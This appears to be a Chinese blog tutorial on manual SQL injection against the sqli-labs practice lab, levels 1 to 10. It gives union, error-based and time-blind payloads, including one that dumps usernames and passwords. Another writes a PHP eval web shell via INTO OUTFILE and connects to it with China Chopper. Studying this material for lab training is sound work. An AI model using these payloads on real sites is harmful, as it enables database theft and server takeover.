注入双括号报错注入_SQL手动注入:sqlilabs(less110)

种一棵树最好的时间是10年前,其次是现在。

忘了是谁
a8dd64442640e8d6f3204d4751535ab1.png

前言

说实话,由于前段时间学 python ,对于 OWASP TOP10 漏洞的学习都有所落下,虽然现在也在慢慢复习当中,但是今晚谈及的 SQL 注入漏洞手动注入和自动化(sqlmap)注入的一些知识时,不免有些语塞,有些命令都已经开始淡忘,想想得补一补,于是就打算拿 sqli-labs 这个SQL 注入专属练习靶场来重温一下,顺便把之前写得博文搬到公众号上来。

猪(鄙夷的目光):文字的搬运工。。。

4f4fc37433e9f945b14ecd1e89bb002b.png

匠(挠挠头d3de483a8c2e2cb9410195e710b18611.png):后续对于这个靶场的自动化(sqlmap)注入姿势也总结一下吧,顺便复习一下 sqlmap 。

ce5723238f81fda8165cf916606cf909.png

a8dd64442640e8d6f3204d4751535ab1.png

环境准备

phpstydy 

firefox 浏览器

HackBar 插件

sqli-labs 源码

sublime  

中国菜刀

hackbar 插件新版的要钱,可以去下载旧版的,或者有其他替代品,功能也差不多

a8dd64442640e8d6f3204d4751535ab1.png

less1

源码分析
  1. 采用 get 方法接收用户输入

  2. 单引号闭合参数

  3. 参数拼接 sql 语句进行数据库查询

623cc2f24106321d012e3cb4dc2ef47d.png

漏洞利用

01

查看数据表列数 

猜测列数为 3 ,回显正常

index.php?id=1' order by 3 --+

6109185a2bbf8e209d3ca39301f9e575.png

猜测列数为 4 ,出现错误,说明当前数据表列数为 3 。

58562fbbf40fd98f73195d34362b2b40.png

02

union查询

MySQL5.0 之后有一个 information_schema 数据库

查看回显位,可以得知数字 2 和 3 可以回显。

index.php?id=0' union select 1,2,3 --+

ecd219a54ebc18ad8359d72478110213.png

利用回显位查看数据库相关信息

index.php?id=0' union select 1,version(),database() --+

9d30b8db8a0f2c1d8667a27fe924d953.png

爆出 security 的所有表

index.php?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

d4d44cd5e73c02db324d732d1f22f589.png

查看 users 表下的所有列

index.php?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+

baa0f152b856d91fe396e4850a903f5d.png

查看 users 表下的所有数据

index.php?id=0' union select 1,(select group_concat(username,'-') from security.users),(select group_concat(password) from security.users) --+

55da87f1f06334d08582e284badda02a.png

a8dd64442640e8d6f3204d4751535ab1.png

less2

源码分析
  1.  直接获取用户输入

  2. sql 语句拼接

9987dd6d876d4af2cbaac478791b1fa6.png

漏洞利用

和 Less1 相比就是在进行 sql 语句拼接的时候没有对参数进行单引号引用。思路和 Less1 一样,就是不用闭合单引号和注释后面无关内容而已。

01

union注入

index.php?id=0 union select 1,2,3

c05d998fe9a98711c33c27595cc34ec5.png

a8dd64442640e8d6f3204d4751535ab1.png

less3

源码分析
  1.  直接说去用户输入

  2. 拼接 sql 语句时将参数用单引号+括号进行引用

15b4b85a1a5b5dc442fa1f78528d7e71.png

漏洞利用

对单引号和括号进行闭合即可,同时使用注释符将无用部分注释掉,注入思路和 Less1 一样。

01

union注入

index.php?id=0') union select 1,2,3 --+

92fe0877fba39bdfc6ce999a5b4d5df3.png

a8dd64442640e8d6f3204d4751535ab1.png

less4

源码分析
  1.  直接获取用户输入

  2. 对参数进行双引号+括号引用

17ad271f6314fee3f4e197f10fefd2d5.png

漏洞利用

对双引号和括号进行闭合,注入思路和 Less 1 一样。

a8dd64442640e8d6f3204d4751535ab1.png

less5

源码分析
  1.  直接获取用户输入

  2. 对参数进行单引号引用

  3. 没有数据回显

  4. 有错误信息回显

dc8dd5eb43f155816b2e897523e1ac7a.png

漏洞利用

01

报错注入

报错注入会涉及三个函数 floor、updatexml、extractvalue。

MySQL_v5.0.96 还有 floor 报错注入,高版本的没有。

MySQL 5.1.5 版本种添加了对 XML 文档进行查询和修改的两个函数:extractvalue 和 updatexml 。

三个函数的运用格式如下:

floor

select 1 from (select count(*), concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a

updatexml

updatexml(1,concat(0x7e,(database()),0x7e),1)

extractvalue

extractvalue(1,concat(0x7e,(database()),0x7e))

这里主要拿 floor 函数来做演示。可以拆分为几部分方便记忆。

select 1 from( i )ai = select count(*),concat( j )x from information_schema.tables group by xj = payload,floor(rand(0)*2)

显示当前数据库

index.php?id=0' and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

fd33066bfaba7fbd199ac7e774180962.png

显示当前数据库下所有表,这里使用 group_concat() 显示所有表,出现错误 “信息超过一行” 。

index.php?id=1' and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

67173c5413b2d731abe2162a52b40871.png

使用 limit 一个一个显示出来。

ps: 这里的 limit 0,1 代表第一个数据;limit 1,1 代表第二个数据

index.php?id=1'and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

a77cdddc9681539c4ef7885d06323080.png

a8dd64442640e8d6f3204d4751535ab1.png

less6

源码分析
  1. 直接获取用户输入

  2. 双引号应用参数

  3. 没有数据信息回显

  4. 有错误信息回显

漏洞利用

相比于 Less 5,这里的参数用双引号引用,注意双引号闭合,注释符的使用即可,解题思路和 Less 5 一样。

a8dd64442640e8d6f3204d4751535ab1.png

less7

源码分析
  1. 直接获取用户参数

  2. 用双括号+双引号引用参数

  3. 没有数据信息回显

  4. mysql_error()函数被注释

b5e5b592876d6bf404864d4a6ee67160.png

漏洞利用

页面提示我们 outfile 命令写入木马文件

c4582bd12d6b683ed4b3badaaaa8332c.png

这种方法的关键之处在于知道网站在系统的绝对路径和能够找到写入文件的路径,之后用菜刀进行连接。

注:反斜杠 \ 是转义字符,这里使用双反斜杠 \\ 表示反斜杠;也可以使用正斜杠 / 代替反斜杠;也开始使用 r 将引号里面的内容定义为字符串,如:r"C:\\phpStudy2013\\WWW\\script.php"

index.php?id=-1')) union select 1,"<?php  @eval($_POST['pass']);?>",3 into outfile "C:\\phpStudy2013\\WWW\\script.php" --+

fd8afd53beb1f5f9d85d3762e2a31610.png

之后访问上传的一句话文件。

f8e507bf4ad81e424c565bfeee783449.png

使用菜刀连接

bc27c07391016e6e7d48754f989bbaf2.png

07712f71c6fd8ba97ca4f5d22ab684fa.png

a8dd64442640e8d6f3204d4751535ab1.png

less8

源码分析
  1. 直接获取用户参数

  2. 单引号引用参数

  3. 没有数据信息回显

  4. 也没有错误信息回显

4217d9a89fc03275430e4dafe44c4cb0.png

漏洞利用

01

时间盲注

没有错误信息回显,那报错注入的方法就行不通,可以试一试时间盲注。

判断时间盲注的方法先是id=1' or sleep(1) # ,如果延时则存在延时注入

时间盲注的格式如下:

if((判断条件),(条件为 true 时执行),(条件为 false 执行))

if(ascii(substring(database()),1,1)=115,sleep(1),1)

猜测当前数据库,若当前数据库的第一个字母的 ASCII码大于0,则延时5秒。

index.php?id=1' and if(ascii(substring(database(),1,1))>0,sleep(5),1) --+

4d07dc5d3be6e957cf89caa6bde0ed72.png

猜测得出第一个字母位's',ascii(s) = 115

index.php?id=1' and if(ascii(substring(database(),1,1))=115,sleep(5),1) --+

以此类推去猜,费劲,一般报错注入/时间盲注这些比较费时的操作都交给 sqlmap 去自动化注入比较省事。

a8dd64442640e8d6f3204d4751535ab1.png

less9

源码分析
  1. 直接获取用户输入

  2. 单引号引用,参数拼接

  3. 没有数据回显

  4. 没有错误信息回显

4099c4b6c29f679fe3e90f9e5796d1a1.png

漏洞利用

时间盲注,注意单引号闭合,思路和 Less 8 一样。

a8dd64442640e8d6f3204d4751535ab1.png

less10

源码分析
  1. 直接获取用户参数

  2. 双引号引用参数进行 sql 语句拼接

  3. 没有数据回显

  4. 没有错误信息回显

e16fd75e6aa0f3c8ee11486118c64cf0.png

漏洞利用

时间盲注,注意双引号的闭合,注入思路和 Less 8 一样。

a8dd64442640e8d6f3204d4751535ab1.png

尾声

我是匠心,一个在清流旁默默磨剑的匠人,希望有一天能利刃出鞘,仗剑走江湖。

94fa4a967a76f1d813942bfe9807b745.png

好文!必须在看

留言区

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/270697.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

markdown学习/mou

markdown编辑器mou markdown编辑器的使用很简单&#xff0c;mac平台选择课 MOU 这款比较轻的客户端。 使用也很方便&#xff0c;打开软件&#xff0c;->helo->mou help 就有各种示例&#xff0c;照葫芦画瓢。 有些关键字需要转义,使用的时候要注意&#xff0c;比如插入一…

硬件知识:内存条出现故障的解决方案!

“电脑不时的突然出现蓝屏”&#xff0c;“开机之后毫无规律的死机”&#xff0c;“开不了机&#xff0c;一开机就出现嘶鸣声”&#xff0c;如果你的电脑出现了以上情况&#xff0c;就是你的内存兼容性出了问题&#xff0c;那么这种故障该如何解决呢&#xff1f;下面&#xff0…

盘点程序员必备的专业术语,值得看一看

英文缩写 API 应用程序接口&#xff08;英语&#xff1a;Application Programming Interface&#xff0c;简称&#xff1a;API&#xff09;&#xff0c;又称为应用编程接口&#xff0c;就是软件系统不同组成部分衔接的约定。由于近年来软件的规模日益庞大&#xff0c;常常需要把…

IDEA中安装配置Jrebel热部署插件用法笔记

今天给大家介绍一下IDEA中安装配置Jrebel热部署插件用法&#xff0c;希望对大家能有所帮助&#xff01;1、Jrebel插件介绍JRebel属于一款JAVA虚拟机插件&#xff0c;它可以让你的项目在不需要进行重新编译的情况下&#xff0c;就可以实时看到代码的变化对项目的影响。这对我们开…

集成支付宝钱包支付iOS SDK的方法与经验

下载 首先&#xff0c;你要想找到这个SDK&#xff0c;都得费点功夫。现在的SDK改名叫移动支付集成开发包了。 https://b.alipay.com/order/productDetail.htm?productId2013080604609654&tabId4#ps-tabinfo-hash Baidu和Googlep排在前面的支付宝开放平台&#xff0c;里面的…

Spring Boot单元测试报错java.lang.IllegalStateException: Could not load TestContextBootstrapper [null]

一&#xff1a;运行test类方法时候报错 报错 java.lang.IllegalStateException: Could not load TestContextBootstrapper [null]. Specify BootstrapWiths value attribute or make the default bootstrapper class available.at org.springframework.test.context.BootstrapU…

PHP底层原理分析和底层扩展编写

运行原理 http://www.phpchina.com/article-40203-1.htmlPHP底层开发 可以理解为就是C的开发&#xff0c;那么简单地说如果我们要查看某个PHP函数的底层实现怎么看呢&#xff1f;需要PHP源码包&#xff1a;http://www.php.net/downloads.php主要目录是Zend 和ext(写扩展的目录…

硬件知识:DP接口和HDMI接口对比,看完你就懂了

目录 一、DP接口 二、HDMI接口 三、总结 电脑显示器高清传输通过会用到两个接口&#xff0c;就是DP接口和HDMI接口&#xff0c;今天电脑学习小编带大家对比一下这两个接口。 一、DP接口 DisplayPort缩写DP&#xff0c;是一个由PC及芯片制造商联盟开发&#xff0c;视频电子标准协…

SpringBoot集成JPA用法笔记

今天给大家整理SpringBoot集成JPA用法。希望对大家能有所帮助&#xff01;搭建SpringBoot项目新建配置文件 application.ymlserver: port: 8090 spring: #通用的数据源配置datasource: driverClassName: com.mysql.jdbc.Driver url: jdbc:mysql://localhost:3306/test?useSSLf…

显示器知识:分辨率1080P、2K、4K、8K相关知识介绍,看完你就懂了

现在各种电视和显示器都会出现4K、高清等字样。4K到底意味着什么呢&#xff1f; 它比超高清(Ultra HD)的像素还要多吗&#xff1f; 如果4K是1080p的四倍&#xff0c;那是否意味着4K就等于4320p&#xff1f; 以上三个问题按顺序回答&#xff1a;视情况而定&#xff1b;有时候是这…

c++大文本比较_Excel – 将文本转换为数值,第二种方法会的请举左手

工作中经常收到的数据是从系统直接导出的&#xff0c;有的数据看上去是数字&#xff0c;其实是文本格式。这种数字在 Excel 看来就是个文本&#xff0c;无法参与任何计算分析。所以首先就要把它们转换成真正的数值。案例&#xff1a;下图 1 中的 B、C 列均为文本格式&#xff0…

网络知识:整理各种路由器组网方法!网跨段也能访问

很多朋友问到&#xff0c;针对不同网段的两个电脑设备如何实现通信&#xff1f;这个通常在企业办公中会遇到&#xff0c;我们经常会遇到企业随着员工或部门的增多&#xff0c;增加了一个路由器&#xff0c;分了两个网段&#xff0c;A子网和B子网就处于不同网段&#xff0c;当网…

Java技术:serialVersionUID作用介绍

serialVersionUID概念介绍英文翻译的意思是序列化版本号。凡是实现Serializable接口的类都会有一个表示序列化版本标识符的静态变量。serialVersionUID的生成方式默认的1L&#xff1a;比如&#xff1a;private static final long serialVersionUID 1L; 。根据类名、接口名、成…

服务雪崩

假设存在如下调用链 而此时&#xff0c;Service A的流量波动很大&#xff0c;流量经常会突然性增加&#xff01;那么在这种情况下&#xff0c;就算Service A能扛得住请求&#xff0c;Service B和Service C未必能扛得住这突发的请求。 此时&#xff0c;如果Service C因为抗不住…

华为的型号命名规则_华为交换机s2700系列命名规则

华为交换机s2700系列命名规则华为交换机s2700系列命名规则上一篇我们聊到S2700系列机型的命名规则方法。基于要满足不同用户的市场需求&#xff0c;S2700系列提供了多款机型。咱们就以S2700-26TP-PWR-EI、S2710-52P-SI-AC、S2700-52P-EI-AC以及S2700-9TP-SI为模板来讲解S2700系…

电脑技巧:Win10操作系统关闭这几个功能,可以大幅度提升电脑的运行速度

目录 一、禁用Cortana语音助手 二、关闭onedrive自动同步服务 三、关闭微软自带的Windows Search服务 四、关闭windows自动更新 五、清理缓存文件 六、减少不必要开机启动项 今天小编给大家介绍一下Win10操作系统需要关闭的几个功能&#xff0c;能让你的电脑飞速运转&#xff0…

硬件知识:视频分配器、画面分割器、矩阵、延长器相关知识介绍

目录 1、视频分配器 2、视频切换器 3、视频矩阵 4、画面分割器 5、延长器 你知道视频分配器&#xff0c;画面分割器&#xff0c;矩阵各自的作用都是什么吗&#xff1f;今天小编就为大家详细的介绍下它们各自的区别。 1、视频分配器 视频分配器是一种把一个源平均分配成多路视频…

mysql 交叉连接_MySQL教程77-CROSS JOIN 交叉连接

之间所讲的查询语句都是针对一个表的&#xff0c;但是在关系型数据库中&#xff0c;表与表之间是有联系的&#xff0c;所以在实际应用中&#xff0c;经常使用多表查询。多表查询就是同时查询两个或两个以上的表。在 MySQL 中&#xff0c;多表查询主要有交叉连接、内连接和外连接…